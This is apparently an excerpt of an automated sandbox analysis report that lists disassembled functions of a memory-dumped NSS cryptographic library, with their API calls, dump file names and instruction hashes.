Part of subcall function 6CF29DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DD1
Part of subcall function 6CF29DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF29DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE88CB0
TlsGetValue.KERNEL32 ref: 6CE88CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE88CE5
PR_Unlock.NSS3(?), ref: 6CE88D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE88D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE88D93

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 6825d495d12828da14ae9ba4764a4fbceab87dd97fb470817fd787826b2fbdb0
Instruction ID: 2c7f05e780573cf3645c0f8c9283f0db1cbc814cc480c11c625ae901298e269d
Opcode Fuzzy Hash: 6825d495d12828da14ae9ba4764a4fbceab87dd97fb470817fd787826b2fbdb0
Instruction Fuzzy Hash: BF312871E02205AFD720AF68DC447AAB7B8BF55318F24013AEE1D67B90D770A924C7D1

Function 6CEC9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEC9C5B), ref: 6CEC9D82

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEC9C5B), ref: 6CEC9DA9

Part of subcall function 6CEC1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE6895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE5F599,?,00000000), ref: 6CEC136A
Part of subcall function 6CEC1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE6895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE5F599,?,00000000), ref: 6CEC137E
Part of subcall function 6CEC1340: PL_ArenaGrow.NSS3(?,6CE5F599,?,00000000,?,6CE6895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE5F599,?), ref: 6CEC13CF
Part of subcall function 6CEC1340: PR_Unlock.NSS3(?,?,6CE6895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE5F599,?,00000000), ref: 6CEC145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEC9C5B), ref: 6CEC9DCE

Part of subcall function 6CEC1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE6895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE5F599,?,00000000), ref: 6CEC13F0
Part of subcall function 6CEC1340: PL_ArenaGrow.NSS3(?,6CE5F599,?,?,?,00000000,00000000,?,6CE6895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEC1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEC9C5B), ref: 6CEC9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEC9C5B), ref: 6CEC9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEC9C5B), ref: 6CEC9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEC9C5B), ref: 6CEC9E91

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

Part of subcall function 6CEC1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CEBFAAB,00000000), ref: 6CEC157E
Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CEBFAAB,00000000), ref: 6CEC1592
Part of subcall function 6CEC1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEC1600
Part of subcall function 6CEC1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEC1620
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?), ref: 6CEC1639

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: b942ee04781b9668540557af4ea879764d7aae4df4656deec6615f3a09164653
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 644171B4601606AFE7409F55DA50B92BBB1FF5534CF248128D8244BFA1EB76E834CB92

Function 6CE8DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE8DDEC

Part of subcall function 6CEC0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE8DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE8DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE8DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE8DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE8DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8DECC

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 36b9365a7e25df94c792f702e1aca6becefbbff35ae3558c65be2181964a6024
Instruction ID: 0116365568bd36b9914d81319fb4bb6092a7b597123ac45ef1af4d515091f866
Opcode Fuzzy Hash: 36b9365a7e25df94c792f702e1aca6becefbbff35ae3558c65be2181964a6024
Instruction Fuzzy Hash: 7A31E6B6E012156BDB00AA68AC41BBB76B8DF55608F25012AEC0DA7741FB31DA14C6F2

Function 6CEBDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CEBD9E4,00000000), ref: 6CEBDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CEBD9E4,00000000), ref: 6CEBDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CEBD9E4,00000000), ref: 6CEBDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEBDCAD

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 379b487b628aa4845001a6cab1548ae51e914facbe267a53f733288059af4d3f
Instruction ID: 748b8b47e84a2a8fd7854028306abc76976fd0022e74cd82d02430c4f5b51cbd
Opcode Fuzzy Hash: 379b487b628aa4845001a6cab1548ae51e914facbe267a53f733288059af4d3f
Instruction Fuzzy Hash: 3B317EB9A002009FD750CF19D980BA6B7F8AF05358F348429E95CDBB05E771EA44CFA1

Function 6CE82E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE7E728,?,00000038,?,?,00000000), ref: 6CE82E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE82E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE82E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE82E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE82E9E
PR_Unlock.NSS3(?), ref: 6CE82EAB
PR_Unlock.NSS3(?), ref: 6CE82F0D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9190b7c0e4d7b733f3ac622099a9c61c5779b031480dcb6d3ca9e978eb1ba8b5
Instruction ID: 72980b5eed0efc3eac7e368c6345cace8006dfa2fb42bb6c1f512b98caff8cb5
Opcode Fuzzy Hash: 9190b7c0e4d7b733f3ac622099a9c61c5779b031480dcb6d3ca9e978eb1ba8b5
Instruction Fuzzy Hash: 1B31F6B5E01505ABEB01AF28DC8597AB774EF2525CB248164EC0897B11E731ED64C7E0

Function 6CEA1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE86295,?,00000000,?,00000001,S&l,?), ref: 6CEA1ECB

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE86295,?,00000000,?,00000001,S&l,?), ref: 6CEA1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CEA1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CEA1F39

Part of subcall function 6CEAFE20: TlsGetValue.KERNEL32(6CE85ADC,?,00000000,00000001,?,?,00000000,?,6CE7BA55,?,?), ref: 6CEAFE4B
Part of subcall function 6CEAFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEAFE5F

PR_Unlock.NSS3(?), ref: 6CEA1F67

Strings

S&l, xrefs: 6CEA1EA0

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: e52684f4e32badd3081e6d74cfda2916033f81ffc2b7b3f858abe07b6c66b565
Instruction ID: 56a14483d11959a0f5b10e7ce6bd9508c581fe35f25611d3ca32bb54055bd041
Opcode Fuzzy Hash: e52684f4e32badd3081e6d74cfda2916033f81ffc2b7b3f858abe07b6c66b565
Instruction Fuzzy Hash: 41210375A002449FEB009EA9DC41B9A3779AF4536CF244064FC088FB01E730E95287E0

Function 6CECCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CECCD93,?), ref: 6CECCEEE

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CECCD93,?), ref: 6CECCEFC

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CECCD93,?), ref: 6CECCF0B

Part of subcall function 6CEC0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CECCD93,?), ref: 6CECCF1D

Part of subcall function 6CEBFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEB8D2D,?,00000000,?), ref: 6CEBFB85
Part of subcall function 6CEBFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEBFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CECCD93,?), ref: 6CECCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CECCD93,?), ref: 6CECCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CECCD93,?,?,?,?,?,?,?,?,?,?,?,6CECCD93,?), ref: 6CECCF78

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 6aa6fcc85f9b7fdfabebe5361787278243735f2484ab69309947d2bec034b221
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5311D5A5B002405BEB00ABAA6E42B7BB5FC9F4414DF24403DEC29D7741FB60D90886B3

Function 6CE78C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE78C1B
EnterCriticalSection.KERNEL32 ref: 6CE78C34
PL_ArenaAllocate.NSS3 ref: 6CE78C65
PR_Unlock.NSS3 ref: 6CE78C9C
PR_Unlock.NSS3 ref: 6CE78CB6

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

Strings

KRAM, xrefs: 6CE78C8F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 399970c11354706a135453948a307f2a5c2ff7be045187d51a4588796a926c4e
Instruction ID: ef6c93b38e0e0bf8f1324784b33100fd856aedd5ef818ab1fc8ebf9a45e220fb
Opcode Fuzzy Hash: 399970c11354706a135453948a307f2a5c2ff7be045187d51a4588796a926c4e
Instruction Fuzzy Hash: 9321A3B1A156018FD710EF38C484669BBF4FF55318F25896ED888DB701EB35D886CBA2

Function 6CE88E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CEA2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE74F1C), ref: 6CE88EA2

Part of subcall function 6CEAF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEAF854
Part of subcall function 6CEAF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEAF868
Part of subcall function 6CEAF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEAF882
Part of subcall function 6CEAF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEAF889
Part of subcall function 6CEAF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEAF8A4
Part of subcall function 6CEAF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEAF8AB
Part of subcall function 6CEAF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEAF8C9
Part of subcall function 6CEAF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEAF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CEA2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE74F1C), ref: 6CE88EC3
TlsGetValue.KERNEL32(?,?,?,6CEA2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE74F1C), ref: 6CE88EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CEA2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE88EF1
PR_Unlock.NSS3 ref: 6CE88F20

Strings

b.l, xrefs: 6CE88E96, 6CE88F25

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 9414ccfad0974f13102c1cd208bbf9563ac885ee11f65c935c22857cefdb10f7
Instruction ID: b632250311623b70ffabb0088ef83f9e6fc40d63ad912c59f2c482fa61e6a644
Opcode Fuzzy Hash: 9414ccfad0974f13102c1cd208bbf9563ac885ee11f65c935c22857cefdb10f7
Instruction Fuzzy Hash: E021AE70A0A7059FC710AF29D5842AABBF0FF48318F11456EEC989BB41E730E854CBD2

Function 6CF72C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF72CA0
PR_ExitMonitor.NSS3 ref: 6CF72CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF72CD1
strdup.MOZGLUE(?), ref: 6CF72CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF72D27

Strings

Loaded library %s (static lib), xrefs: 6CF72D22

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0fe7c18bd53d9302ea0a5b5704df43701f67b62ebbd898329274930e730dd4bb
Instruction ID: 6050f108c7bf42f4a1995b8a96fe48caaf89423692ac4b26e573998c648eab0f
Opcode Fuzzy Hash: 0fe7c18bd53d9302ea0a5b5704df43701f67b62ebbd898329274930e730dd4bb
Instruction Fuzzy Hash: ED11BEB1B10210DBEB608F14E844B6B77B4AB4531DF14802EE809C7B41D732A918CBA1

Function 6CE668E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE668FB
EnterCriticalSection.KERNEL32 ref: 6CE66913
PORT_FreeArena_Util.NSS3 ref: 6CE6693E
PR_Unlock.NSS3 ref: 6CE66946
DeleteCriticalSection.KERNEL32 ref: 6CE66951
free.MOZGLUE ref: 6CE6695D
PR_Unlock.NSS3 ref: 6CE66968

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: e095dc19ac0b47dbd7b618fc45368bab7c40372c7b8ca004177e24b1750474cf
Instruction ID: 362dad2c362b3474b3109303776b8ea864c85de8461ca5ded642afd8d4cce786
Opcode Fuzzy Hash: e095dc19ac0b47dbd7b618fc45368bab7c40372c7b8ca004177e24b1750474cf
Instruction Fuzzy Hash: 52113DB1A246058FEB40AF69C48466EBBF8BF02648F114568D895DB701EB30D494CB92

Function 6CE6BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE6BDCA

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE6BDDB

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE6BDEC

